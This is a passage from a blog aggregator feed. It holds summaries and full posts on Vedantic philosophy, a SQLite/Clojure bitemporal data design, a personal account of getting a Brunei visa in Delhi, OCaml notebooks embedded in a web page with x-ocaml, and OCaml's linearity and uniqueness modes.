            <content:encoded><![CDATA[Memory is whatever the mind brings up. Hypothetically, the mind can create random images, thoughts, and bodily sensations that feel like memories. Even when the body-mind system is working perfectly, memory is always at the mercy of whatever it pulls up in the moment. It&#8217;s possible that the body-mind system isn&#8217;t buggy and it never [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[māyā – ಮಾಯಾ – माया]]></title>
            <link>https://www.prashanthudupa.com/maya/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/maya/</guid>
            <pubDate>Tue, 15 Jul 2025 17:06:50 GMT</pubDate>
            <description><![CDATA[The term māyā is often translated as “illusion”—a powerful force that makes the dualistic world appear real, even though only the non-dual Brahman truly exists. However, I prefer to interpret māyā not as “illusion” but as “disappearance” or “vanishing” (in its street-Kannada sense). In truth, all of reality is constantly vanishing into a void. This […]]]></description>
            <content:encoded><![CDATA[The term māyā is often translated as &#8220;illusion&#8221;—a powerful force that makes the dualistic world appear real, even though only the non-dual Brahman truly exists. However, I prefer to interpret māyā not as &#8220;illusion&#8221; but as &#8220;disappearance&#8221; or &#8220;vanishing&#8221; (in its street-Kannada sense). In truth, all of reality is constantly vanishing into a void. This [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Poor man's bitemporal data system in SQLite and Clojure]]></title>
            <link>https://www.evalapply.org/posts/poor-mans-time-oriented-data-system/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/poor-mans-time-oriented-data-system/index.html</guid>
            <pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[On trying to mash up SQLite with ideas stolen from Accountants, Clojure, Datomic, XTDB, Rama, and Local-first-ers, to satisfy Henderson's Tenth Law. Viz., to make a sufficiently complicated data system containing an ad-hoc, informally-specified, bug-ridden, slow implementation of half of a bitemporal database. Because? Because laying about on a hammock, contemplating hopelessly complected objects like Current Databases isn't just for the Rich man.]]></description>
            <content:encoded><![CDATA[On trying to mash up SQLite with ideas stolen from Accountants, Clojure, Datomic, XTDB, Rama, and Local-first-ers, to satisfy Henderson's Tenth Law. Viz., to make a sufficiently complicated data system containing an ad-hoc, informally-specified, bug-ridden, slow implementation of half of a bitemporal database. Because? Because laying about on a hammock, contemplating hopelessly complected objects like Current Databases isn't just for the Rich man.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>functional_programming</category>
            <category>clojure</category>
            <category>databases</category>
            <category>architecture</category>
            <category>software_design</category>
            <category>local_first</category>
            <category>programming</category>
            <category>web_development</category>
        </item>
        <item>
            <title><![CDATA[Awareness is always after the fact]]></title>
            <link>https://www.prashanthudupa.com/there-is-no-doer/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/there-is-no-doer/</guid>
            <pubDate>Tue, 08 Jul 2025 05:06:22 GMT</pubDate>
            <description><![CDATA[Awareness is always of what has already happened. I become aware of what I see only after the seeing has occurred.I become aware of what I hear only after the hearing has happened.I become aware of what I touch only after the touch has occurred.I become aware of what I taste only after the tasting […]]]></description>
            <content:encoded><![CDATA[Awareness is always of what has already happened. I become aware of what I see only after the seeing has occurred.I become aware of what I hear only after the hearing has happened.I become aware of what I touch only after the touch has occurred.I become aware of what I taste only after the tasting [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Riff: LLMs are Software Diamonds]]></title>
            <link>https://www.evalapply.org/posts/llms-are-diamonds/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/llms-are-diamonds/index.html</guid>
            <pubDate>Tue, 01 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The making of a diamond is a repeatable, but naturally non-reproducible process. The exact same input of carbon subject to the exact same configuration of pressure, temperature, forge, time, process control will never produce the exact same diamond twice. Once made, a diamond is unique. And once made, a diamond is forever.]]></description>
            <content:encoded><![CDATA[The making of a diamond is a repeatable, but naturally non-reproducible process. The exact same input of carbon subject to the exact same configuration of pressure, temperature, forge, time, process control will never produce the exact same diamond twice. Once made, a diamond is unique. And once made, a diamond is forever.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Getting Brunei visa]]></title>
            <link>https://ravidwivedi.in/posts/brunei-visa/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/brunei-visa/</guid>
            <pubDate>Sat, 21 Jun 2025 08:00:51 GMT</pubDate>
            <description><![CDATA[In December 2024, my friend Badri and I were planning a trip to Southeast Asia. At this point, we were planning to visit Singapore, Malaysia and Vietnam. My Singapore visa had already been approved, and Malaysia was visa-free for us. For Vietnam, we had to apply for an e-visa online.
We considered adding Brunei to our itinerary. I saw some videos of the Brunei visa process and got the impression that we needed to go to the Brunei embassy in Kuching, Malaysia in person.
However, when I happened to search for Brunei on Organic Maps1, I stumbled upon the Brunei Embassy in Delhi. It seemed to be somewhere in Hauz Khas. As I was going to Delhi to collect my Singapore visa the next day, I figured I’d also visit the Brunei Embassy to get information about the visa process.
The next day I went to the location displayed by Organic Maps. It was next to the embassy of Madagascar, and a sign on the road divider confirmed that I was at the right place.
That said, it actually looked like someone’s apartment. I entered and asked for directions to the Brunei embassy, but the people inside did not seem to understand my query. After some back and forth, I realized that the embassy wasn’t there.
I now searched for the Brunei embassy on the Internet, and this time I got an address in Vasant Vihar. It seemed like the embassy had been moved from Hauz Khas to Vasant Vihar. Going by the timings mentioned on the web page, the embassy was closing in an hour.
I took a Metro from Hauz Khas to Vasant Vihar. After deboarding at the Vasant Vihar metro station, I took an auto to reach the embassy. The address listed on the webpage got me into the correct block. However, the embassy was still nowhere to be seen. I asked around, but security guards in that area pointed me to the Burundi embassy instead.
After some more looking around, I did end up finding the embassy. I spoke to the security guards at the gate and told them that I would like to know the visa process. They dialled a number and asked that person to tell me the visa process.
I spoke to a lady on the phone. She listed the documents required for the visa process and mentioned that the timings for visa application were from 9 o’clock to 11 o’clock in the morning. She also informed me that the visa fees was ₹1000.
I also asked about the process Badri, who lives far away in Tamil Nadu and cannot report at the embassy physically. She told me that I can submit a visa application on his behalf, along with an authorization letter.
Having found the embassy in Delhi was a huge relief. The other plan - going to Kuching, Malaysia - was a bit uncertain, and we didn’t know how much time it would take. Getting our passport submitted at an embassy in a foreign country was also not ideal.
A few days later, Badri sent me all the documents required for his visa. I went to the embassy and submitted both the applications. The lady who collected our visa submissions asked me for our flight reservations from Delhi to Brunei, whereas ours were (keeping with our itinerary) from Kuala Lampur. She said that she might contact me later if it was required.
For reference, here is the list of documents we submitted -
Visa application form
Passport
A photocopy of passport
Authorization letter from Badri (authorizing me to submit his application on his behalf)
Airline ticket itinerary
Hotel bookings
Cover letter
2 photos
Proof of employment
6 months bank statement (they specifically asked for ₹1,00,000 or more in bank balance)
I then asked about the procedure to collect the passports and visa results. Usually, embassies will tell you that they will contact you when they have decided on your applications. However, here I was informed that if they don’t contact me within 5 days, I can come and collect our passports and visa result between 13:30-14:30 hours on the fifth day. That was strange :)
I did visit the embassy to collect our visa results on the fifth day. However, the lady scolded me for not bringing the receipt she gave me. I was afraid that I might have to go all the way back home and bring the receipt to get our passports. The travel date was close, and it would take some time for Badri to receive his passport via courier as well.
Fortunately, she gave me our passports (with the visa attached) and asked me to share a scanned copy of the receipt via email after I get home.
We were elated that our visas were approved. Now we could focus on booking our flights.
If you are going to Brunei, remember to fill their arrival card from the website within 48 hours of your arrival!
Thanks to Badri and Contrapunctus for reviewing the draft before publishing the article.
Nowadays, I prefer using Comaps instead of Organic Maps and recommend you do the same. Organic Maps had some issues with its governance and the community issues weren’t being addressed. ↩︎]]></description>
            <content:encoded><![CDATA[<p>In December 2024, my friend Badri and I were planning a trip to Southeast Asia. At this point, we were planning to visit Singapore, Malaysia and Vietnam. My Singapore visa had already been approved, and Malaysia was visa-free for us. For Vietnam, we had to apply for an e-visa online.</p>
<p>We considered adding Brunei to our itinerary. I saw some videos of the Brunei visa process and got the impression that we needed to go to the Brunei embassy in Kuching, Malaysia in person.</p>
<p>However, when I happened to search for Brunei on Organic Maps<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, I stumbled upon the Brunei Embassy in Delhi. It seemed to be somewhere in Hauz Khas. As I was going to Delhi to collect my Singapore visa the next day, I figured I&rsquo;d also visit the Brunei Embassy to get information about the visa process.</p>
<p>The next day I went to the location displayed by Organic Maps. It was next to the embassy of Madagascar, and a sign on the road divider confirmed that I was at the right place.</p>
<p>That said, it actually looked like someone&rsquo;s apartment. I entered and asked for directions to the Brunei embassy, but the people inside did not seem to understand my query. After some back and forth, I realized that the embassy wasn&rsquo;t there.</p>
<p>I now searched for the Brunei embassy on the Internet, and this time I got an address in Vasant Vihar. It seemed like the embassy had been moved from Hauz Khas to Vasant Vihar. Going by the timings mentioned on the web page, the embassy was closing in an hour.</p>
<p>I took a Metro from Hauz Khas to Vasant Vihar. After deboarding at the Vasant Vihar metro station, I took an auto to reach the embassy. The address listed on the webpage got me into the correct block. However, the embassy was still nowhere to be seen. I asked around, but security guards in that area pointed me to the Burundi embassy instead.</p>
<p>After some more looking around, I did end up finding the embassy. I spoke to the security guards at the gate and told them that I would like to know the visa process. They dialled a number and asked that person to tell me the visa process.</p>
<p>I spoke to a lady on the phone. She listed the documents required for the visa process and mentioned that the timings for visa application were from 9 o&rsquo;clock to 11 o&rsquo;clock in the morning. She also informed me that the visa fees was ₹1000.</p>
<p>I also asked about the process Badri, who lives far away in Tamil Nadu and cannot report at the embassy physically. She told me that I can submit a visa application on his behalf, along with an authorization letter.</p>
<p>Having found the embassy in Delhi was a huge relief. The other plan - going to Kuching, Malaysia - was a bit uncertain, and we didn&rsquo;t know how much time it would take. Getting our passport submitted at an embassy in a foreign country was also not ideal.</p>
<p>A few days later, Badri sent me all the documents required for his visa. I went to the embassy and submitted both the applications. The lady who collected our visa submissions asked me for our flight reservations from Delhi to Brunei, whereas ours were (keeping with our itinerary) from Kuala Lampur. She said that she might contact me later if it was required.</p>
<p>For reference, here is the list of documents we submitted -</p>
<ul>
<li>Visa application form</li>
<li>Passport</li>
<li>A photocopy of passport</li>
<li>Authorization letter from Badri (authorizing me to submit his application on his behalf)</li>
<li>Airline ticket itinerary</li>
<li>Hotel bookings</li>
<li>Cover letter</li>
<li>2 photos</li>
<li>Proof of employment</li>
<li>6 months bank statement (they specifically asked for ₹1,00,000 or more in bank balance)</li>
</ul>
<p>I then asked about the procedure to collect the passports and visa results. Usually, embassies will tell you that they will contact you when they have decided on your applications. However, here I was informed that if they don&rsquo;t contact me within 5 days, I can come and collect our passports and visa result between 13:30-14:30 hours on the fifth day. That was strange :)</p>
<p>I did visit the embassy to collect our visa results on the fifth day. However, the lady scolded me for not bringing the receipt she gave me. I was afraid that I might have to go all the way back home and bring the receipt to get our passports. The travel date was close, and it would take some time for Badri to receive his passport via courier as well.</p>
<p>Fortunately, she gave me our passports (with the visa attached) and asked me to share a scanned copy of the receipt via email after I get home.</p>
<p>We were elated that our visas were approved. Now we could focus on booking our flights.</p>
<p>If you are going to Brunei, remember to fill their arrival card from the website within 48 hours of your arrival!</p>
<p><strong>Thanks to Badri and <a href="https://codeberg.org/ravidwivedi/ravidwivedi.in/pulls/8">Contrapunctus</a> for reviewing the draft before publishing the article.</strong></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Nowadays, I prefer using <a href="https://www.comaps.app/">Comaps</a> instead of Organic Maps and recommend you do the same. Organic Maps had some issues with its governance and the community issues weren&rsquo;t being addressed.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Testing x-ocaml, OCaml notebooks as a WebComponent]]></title>
            <link>https://kcsrk.info/ocaml/x-ocaml/blogging/2025/06/20/xocaml/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/x-ocaml/blogging/2025/06/20/xocaml/</guid>
            <pubDate>Fri, 20 Jun 2025 10:00:00 GMT</pubDate>
            <description><![CDATA[Can we have OCaml notebooks as pure client-side code? Can these notebooks have
rich editor support (highlighting, formatting, types on hover, autocompletion,
inline diagnostics, etc.)? Can you take packages from OPAM and use them in these
notebooks?
The answer to all of these turns out to be a resounding yes thanks for
x-ocaml. This post is my experiment playing
with x-ocaml and integrating that into this blog.
The most wonderful thing about programming is that it lets you experiment
freely. You can try out an idea, get instant feedback, and learn by doing—much
like playing with Lego bricks or sketching on a canvas. The two main courses
that I teach at IITM, CS3100 and
CS6225, both involve me
live-coding during every lecture. However, blogging about OCaml where the code
is static and non-interactive always felt a bit unsatisfying.
Enter x-ocaml, which allows for a way to
embed OCaml notebooks into any webpage thanks to WebComponents. All you need to
do is to load some JavaScript in your webpage and you can start embedding code
cells using <x-ocaml> tag. The snippet below:

<x-ocaml>
print_endline "Hello, world"
</x-ocaml>


renders to:
The code is interpreted in the browser thanks to the OCaml interpreter compiled
to JavaScript through the
Js_of_ocaml compiler.
There is also support for Merlin and
OCamlformat in the code editor. Try
hovering over the functions and writing some code. You should see inferred types
and auto-completion suggestions. It turns out that this solution integrates well
with Jekyll, which is what I use for this blog.
Reverse-mode AD using Effects
Js_of_ocaml also supports effect
handlers. Here’s the
implementation of reverse-mode algorithmic
differentiation,
implemented using effect handlers running in the browser.
Here are some tests.
Using other libraries
x-ocaml also supports loading any js_of_ocaml compatible library into the
webpage. Let’s use digestif.
For any library that you want to export, install the library using opam.
x-ocaml provide a command-line utility to export the library.

$ x-ocaml --effects digestif.ocaml -o digestif.js


This produces the JavaScript artifact that can be used in the webpage. It may be
instructive to look at the
source
of this post to see how the compiler and the libraries are integrated into this
blog post. There is a little script at the top of the file:


<script async
  src="{{ '/assets/x-ocaml.js' | absolute_url }}"
  src-worker="{{ '/assets/x-ocaml.worker+effects.js' | absolute_url }}"
  src-load="{{ '/assets/digestif.js' | absolute_url }}"
></script>



What next?
There is a number of rough edges to x-ocaml. This is expected since this
project appears to be one of Arthur’s hacking
expeditions (which, as usual, is pushing the state of the art forward).
It would be fun to use this for teaching
CS3100 and also
other
OCaml
tutorials.
Perhaps even have an interactive version of Real World OCaml
book.
Not all OCaml libraries can be compiled to JavaScript. The common reason being
that they may depend on features not available on JavaScript. In writing this
post, I unsuccessfully tried for a long time to get
mirage-cypto working.
mirage-crypto has a large C
dependency, which
does not work with Js_of_ocaml. Js_of_ocaml promises to take any opam library
installed on your opam switch and compiles that to JavaScript. However, at that
point, we’re really cross compiling the opam packages installed on your switch to
JavaScript since the installed package may make some assumptions about the
platform that it is supposed to run on. Hence, JavaScript compilation of
arbitrary OCaml packages is unlikely to work in the general case. Unfortunately,
the error was difficult to debug since the failure was at runtime, and was not
apparent in the error messages (at least for me, who has little JavaScript
experience). It would be nice to have the opam packages explicitly say whether
they are JavaScript compatible, and have build tooling that reports errors like
these early.]]></description>
            <content:encoded><![CDATA[

<p>Can we have OCaml notebooks as pure client-side code? Can these notebooks have
rich editor support (highlighting, formatting, types on hover, autocompletion,
inline diagnostics, etc.)? Can you take packages from OPAM and use them in these
notebooks?</p>

<p>The answer to all of these turns out to be a resounding yes thanks for
<a href="https://github.com/art-w/x-ocaml">x-ocaml</a>. This post is my experiment playing
with <code class="language-plaintext highlighter-rouge">x-ocaml</code> and integrating that into this blog.</p>

<!--more-->

<p>The most wonderful thing about programming is that it lets you experiment
freely. You can try out an idea, get instant feedback, and learn by doing—much
like playing with Lego bricks or sketching on a canvas. The two main courses
that I teach at IITM, <a href="https://github.com/fplaunchpad/cs3100_m20">CS3100</a> and
<a href="https://github.com/fplaunchpad/cs6225_s25_iitm/">CS6225</a>, both involve me
live-coding during every lecture. However, blogging about OCaml where the code
is static and non-interactive always felt a bit unsatisfying.</p>

<p>Enter <a href="https://github.com/art-w/x-ocaml">x-ocaml</a>, which allows for a way to
embed OCaml notebooks into any webpage thanks to WebComponents. All you need to
do is to load some JavaScript in your webpage and you can start embedding code
cells using <code class="language-plaintext highlighter-rouge">&lt;x-ocaml&gt;</code> tag. The snippet below:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;x-ocaml&gt;
print_endline "Hello, world"
&lt;/x-ocaml&gt;
</code></pre></div></div>

<p>renders to:</p>

<x-ocaml>
print_endline "Hello, world"
</x-ocaml>

<p>The code is interpreted in the browser thanks to the OCaml interpreter compiled
to JavaScript through the
<a href="https://ocsigen.org/js_of_ocaml/latest/manual/overview">Js_of_ocaml</a> compiler.
There is also support for <a href="https://github.com/ocaml/merlin">Merlin</a> and
<a href="https://github.com/ocaml-ppx/ocamlformat">OCamlformat</a> in the code editor. Try
hovering over the functions and writing some code. You should see inferred types
and auto-completion suggestions. It turns out that this solution integrates well
with Jekyll, which is what I use for this blog.</p>

<h2 id="reverse-mode-ad-using-effects">Reverse-mode AD using Effects</h2>

<p>Js_of_ocaml also supports <a href="https://ocsigen.org/js_of_ocaml/latest/manual/effects">effect
handlers</a>. Here’s the
implementation of <a href="https://github.com/ocaml-multicore/effects-examples/blob/master/algorithmic_differentiation.ml">reverse-mode algorithmic
differentiation</a>,
implemented using effect handlers running in the browser.</p>

<x-ocaml>
open Effect
open Effect.Deep

module F : sig
  type t

  val mk : float -&gt; t
  val ( +. ) : t -&gt; t -&gt; t
  val ( *. ) : t -&gt; t -&gt; t
  val grad : (t -&gt; t) -&gt; float -&gt; float
  val grad2 : (t * t -&gt; t) -&gt; float * float -&gt; float * float
end = struct
  type t = { v : float; mutable d : float }

  let mk v = { v; d = 0.0 }

  type _ eff += Add : t * t -&gt; t eff
  type _ eff += Mult : t * t -&gt; t eff

  let run f =
    ignore (match f () with
      | r -&gt; r.d &lt;- 1.0; r;
      | effect (Add(a,b)), k -&gt;
          let x = {v = a.v +. b.v; d = 0.0} in
          ignore (continue k x);
          a.d &lt;- a.d +. x.d;
          b.d &lt;- b.d +. x.d;
          x
      | effect (Mult(a,b)), k -&gt;
          let x = {v = a.v *. b.v; d = 0.0} in
          ignore (continue k x);
          a.d &lt;- a.d +. (b.v *. x.d);
          b.d &lt;- b.d +. (a.v *. x.d);
          x)

  let grad f x =
    let x = mk x in
    run (fun () -&gt; f x);
    x.d

  let grad2 f (x, y) =
    let x, y = (mk x, mk y) in
    run (fun () -&gt; f (x, y));
    (x.d, y.d)

  let ( +. ) a b = perform (Add (a, b))
  let ( *. ) a b = perform (Mult (a, b))
end
</x-ocaml>

<p>Here are some tests.</p>

<x-ocaml>

(* XXX KC: `assert` from standard library doesn't work. Why? *)
let assert' c = 
  if not c then raise (Failure "assertion failed!")

let test1 =
  (* f = x + x^3 =&gt;
     df/dx = 1 + 3 * x^2 *)
  for x = 0 to 10 do
    let x = float_of_int x in
    let d1 = F.(grad (fun x -&gt; x +. (x *. x *. x)) x) in
    let d2 = 1.0 +. (3.0 *. x *. x) in
    Printf.printf "%f %f\n" d1 d2;
    assert' ( d1 = d2 )
  done

let test2 = 
  (* f = x^2 + x^3 =&gt;
     df/dx = 2*x + 3 * x^2 *)
  for x = 0 to 10 do
    let x = float_of_int x in
    assert' (
      F.(grad (fun x -&gt; (x *. x) +. (x *. x *. x)) x)
      = (2.0 *. x) +. (3.0 *. x *. x))
  done

let test3 =
  (* f = x^2 * y^4 =&gt;
     df/dx = 2 * x * y^4
     df/dy = 4 * x^2 * y^3 *)
  for x = 0 to 10 do
    for y = 0 to 10 do
      let x = float_of_int x in
      let y = float_of_int y in
      assert' (
        F.(grad2 (fun (x, y) -&gt; x *. x *. y *. y *. y *. y) (x, y))
        = (2.0 *. x *. y *. y *. y *. y, 4.0 *. x *. x *. y *. y *. y))
    done
  done
</x-ocaml>

<h2 id="using-other-libraries">Using other libraries</h2>

<p><code class="language-plaintext highlighter-rouge">x-ocaml</code> also supports loading any js_of_ocaml compatible library into the
webpage. Let’s use <a href="https://github.com/mirage/digestif"><code class="language-plaintext highlighter-rouge">digestif</code></a>.</p>

<p>For any library that you want to export, install the library using opam.
<code class="language-plaintext highlighter-rouge">x-ocaml</code> provide a command-line utility to export the library.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>x-ocaml <span class="nt">--effects</span> digestif.ocaml <span class="nt">-o</span> digestif.js
</code></pre></div></div>

<p>This produces the JavaScript artifact that can be used in the webpage. It may be
instructive to look at the
<a href="https://github.com/kayceesrk/kayceesrk.github.io/blame/54ef5eea28c660aa0d8b3cd2e32d8e93d713ab19/_posts/2025-06-20-xocaml.md">source</a>
of this post to see how the compiler and the libraries are integrated into this
blog post. There is a little script at the top of the file:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="o">&lt;</span><span class="nx">script</span> <span class="k">async</span>
  <span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">{{ '/assets/x-ocaml.js' | absolute_url }}</span><span class="dl">"</span>
  <span class="nx">src</span><span class="o">-</span><span class="nx">worker</span><span class="o">=</span><span class="dl">"</span><span class="s2">{{ '/assets/x-ocaml.worker+effects.js' | absolute_url }}</span><span class="dl">"</span>
  <span class="nx">src</span><span class="o">-</span><span class="nx">load</span><span class="o">=</span><span class="dl">"</span><span class="s2">{{ '/assets/digestif.js' | absolute_url }}</span><span class="dl">"</span>
<span class="o">&gt;&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span>
</code></pre></div></div>

<x-ocaml>
let hash = Digestif.MD5.(digest_string "hello" |&gt; to_hex)
</x-ocaml>

<h2 id="what-next">What next?</h2>

<p>There is a number of rough edges to <code class="language-plaintext highlighter-rouge">x-ocaml</code>. This is expected since this
project appears to be one of <a href="https://github.com/art-w">Arthur’s</a> hacking
expeditions (which, as usual, is pushing the state of the art forward).</p>

<p>It would be fun to use this for teaching
<a href="https://github.com/fplaunchpad/cs3100_m20">CS3100</a> and also
<a href="https://github.com/fplaunchpad/learn-ocaml-workshop-2024">other</a>
<a href="https://github.com/ocaml-multicore/ocaml-effects-tutorial">OCaml</a>
<a href="https://github.com/ocaml-multicore/parallel-programming-in-multicore-ocaml">tutorials</a>.
Perhaps even have an interactive version of <a href="https://dev.realworldocaml.org/">Real World OCaml
book</a>.</p>

<p>Not all OCaml libraries can be compiled to JavaScript. The common reason being
that they may depend on features not available on JavaScript. In writing this
post, I unsuccessfully tried for a long time to get
<a href="https://github.com/mirage/mirage-crypto/"><code class="language-plaintext highlighter-rouge">mirage-cypto</code></a> working.
<code class="language-plaintext highlighter-rouge">mirage-crypto</code> has a <a href="https://github.com/mirage/mirage-crypto/tree/main/src/native">large C
dependency</a>, which
does not work with Js_of_ocaml. Js_of_ocaml promises to take any opam library
installed on your opam switch and compiles that to JavaScript. However, at that
point, we’re really cross compiling the opam packages installed on your switch to
JavaScript since the installed package may make some assumptions about the
platform that it is supposed to run on. Hence, JavaScript compilation of
arbitrary OCaml packages is unlikely to work in the general case. Unfortunately,
the error was difficult to debug since the failure was at runtime, and was not
apparent in the error messages (at least for me, who has little JavaScript
experience). It would be nice to have the opam packages explicitly say whether
they are JavaScript compatible, and have build tooling that reports errors like
these early.</p>

]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Linearity and uniqueness]]></title>
            <link>https://kcsrk.info/ocaml/modes/oxcaml/2025/06/04/linearity_and_uniqueness/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/modes/oxcaml/2025/06/04/linearity_and_uniqueness/</guid>
            <pubDate>Wed, 04 Jun 2025 10:00:00 GMT</pubDate>
            <description><![CDATA[In the last post,
we looked at uniqueness mode and how uniqueness may be used to optimise. As we
will see, uniqueness alone is insufficient in practice, and we also need a
concept of linearity for uniqueness to be useful.
Capturing unique values
Let’s start with an example. Recall the signature of the unique reference
module.

module type Unique_ref = sig
  type 'a t
  val alloc : 'a -> 'a t @ unique
  val free : 'a t @ unique -> unit
  val get : 'a t @ unique -> 'a Modes.Aliased.t * 'a t @ unique
  val set : 'a t @ unique -> 'a -> 'a t @ unique
end


Assume that we also have an implementation of the module:

module Unique_ref : Unique_ref


Consider the following example, which works fine:

let works () =
  let t = alloc 42 in (* Allocate a unique reference *)
  free t (* free it *)


Now consider this modified example:

let wat () =
  let t = alloc 42 in (* Allocate a unique reference *)
  let f () = free t in (* capture free in a closure *)
  f (); (* free it *)
  f () (* free it again??? *)


Observe that f has captured t in the closure, and when called frees t. It
should be clear that calling f more than once is bad – leads to a
double-free issue! What property do we want of f? Uniqueness is insufficient;
we have a unique reference to f in this program, with which we call f twice.
What we want to enforce is that f can be called at most once. The compiler
has a linearity mode which captures the idea of how many times a value can be
used. We have two modes in the linearity axis – once, which stands for
“at most once” and many (the default one for all values), which allows values
to be used arbitrary number of times.
Whenever a unique value is captured by a closure, the closure gets a once
mode, which allows the closure to be called at most once. This program rightly
gets rejected by the compiler.

File "./unique_ref.ml", line 32, characters 2-3:
32 |   f () (* free it again??? *)
       ^
Error: This value is used here,
       but it is defined as once and has already been used:
File "./unique_ref.ml", line 31, characters 2-3:
31 |   f (); (* free it *)
       ^


A linear ref
Now, one might wonder whether the unique reference that we’ve implemented may be
implemented with the linear mode. The answer is yes.

module type Linear_ref = sig
  type 'a t
  val alloc : 'a -> 'a t @ once
  val free : 'a t @ once -> unit
  val get : 'a t @ once -> 'a * 'a t @ once
  val set : 'a t @ once -> 'a -> 'a t @ once
end

module Linear_ref : Linear_ref = struct
  type 'a t = { mutable value : 'a }
  let alloc x = { value = x }
  let free t = ()
  let get t =
    t.value, t
  let set t x =
    t.value <- x;
    t
end


This works as expected:

open Linear_ref

let works () =
  let r = alloc 42 in
  let v,r = get r in
  let r = set r (v + 1) in
  let v,r = get r in
  print_int v;
  free r;
  ()

let fails () =
  let r = alloc 42 in
  free r;
  get r (* fails here *)


with the error message:

File "./linear_ref.ml", line 34, characters 6-7:
34 |   get r (* fails here *)
           ^
Error: This value is used here,
       but it is defined as once and has already been used:
File "./linear_ref.ml", line 33, characters 7-8:
33 |   free r;


Why both linearity and uniqueness?
Given this example, you might be wondering, if the safe reference may be
implemented equivalently using both uniqueness and linearity, why do we need
both? Obviously, there’s something interesting going on where unique values
captured in a closure needs linearity. Does that mean linearity is sufficient?
It turns out that only recently was the relationship between the two formally
studied in the same type system. While linear types and uniqueness types have a
long history of being studied independently, Marshall et al. in their paper,
“Linearity and Uniqueness: An Entente
Cordiale”, present the ideas in
the same type system. They provide some key insights.
The first insight is that
in a setting where all values must be linear, we can also guarantee that every value is unique, and vice versa! Intuitively, if it is never possible to duplicate a value, then it will never be possible for said value to have multiple references.
In our Unique_ref and Linear_ref every operation that operates on the ref
requires uniqueness or linearity, respectively. Hence, they seem almost
equivalent in expressive power.
It is when we also have the ability for unrestricted use (non-linear/non-unique) that differences between linearity and uniqueness begin to arise, as we will soon see.
In our language, we do have the ability for unrestricted use. That is, in the
linearity axis, many is the default mode attributed to all the values not
tagged or inferred as once. Similarly, aliased is the default mode
attributed to all the values not tagged or inferred as unique.
The type system has submoding: values may move freely to greater modes
(which typically restrict what can be done with those values) but not to
lesser modes. For example, a many value may be safely use in a context where
a once value is expected.

let works () =
  let set_to_20 (r @ once) =
    r := 20
  in
  let r @ many = ref 10 in
  set_to_20 r (* [r @ many] is passed to a function that expects [int ref @ once] *)


Similarly, you can use a unique value in a context where an aliased value is
expected.

let dup r = r,r

let works () =
  let r = Unique_ref.alloc 42 in
  let a,b = dup r in
  a,b


The type of the works function is val works : unit -> int Unique_ref.t * int
Unique_ref.t, which crucially lacks the fact that the references are at unique
mode. We can’t call any functions from the Unique_ref module with these
references, all of which expect a reference with unique mode.
Uniqueness is more appropriate for safe refs
In our running example of implementing a safe ref, it turns out that uniqueness
is more appropriate. Consider the type signature of free in Unique_ref:

val free : 'a t @ unique -> unit


The type signature says that there are no other aliases to this reference.
Hence, its memory may be safely deallocated. However, consider the
Linear_ref.free signature:

val free : 'a t @ once -> unit


The signature says that this reference must be used at most once. In particular,
just by looking at the signature, we cannot conclude that there are no other
aliases to this reference. But we know that the API is safe since the only way
to create a safe reference is through the alloc function, which returns a
once-usable reference, and every other operation also expects and returns a
once-usable reference.
The correctness of the linear version depends on reasoning over the whole
API, whereas the unique version can be concluded to be safe just by
looking at the signature of the free function. This modular reasoning makes
uniqueness more appropriate for our safe reference API.
Past and the future
In a sense, uniqueness and linearity are duals of each other. Uniqueness talks
about the past – whether a value may be aliased in the past. It is okay to
alias a unique value in the future and lose the uniqueness mode. Linearity talks
about the future – whether a value may be used more than once in the future.
You can take any value and ascribe a linear mode to it, restricting its use in
the future. However, there may be other aliases to this value in the past.
Conclusions
The code examples are available
here.
Section 2.1 of Marshall et al.’s
paper is quite readable and
explains the distinction between linearity and uniqueness with some historical
context. I highly recommend it.
Acknowledgements
Thanks to Richard Eisenberg for the discussions which
spurred this post.]]></description>
            <content:encoded><![CDATA[<p>In the <a href="https://kcsrk.info/ocaml/modes/oxcaml/2025/05/29/uniqueness_and_behavioural_types/">last post</a>,
we looked at <em>uniqueness</em> mode and how uniqueness may be used to optimise. As we
will see, uniqueness alone is insufficient in practice, and we also need a
concept of <em>linearity</em> for uniqueness to be useful.</p>

<!--more-->

<h2 id="capturing-unique-values">Capturing unique values</h2>

<p>Let’s start with an example. Recall the signature of the unique reference
module.</p>

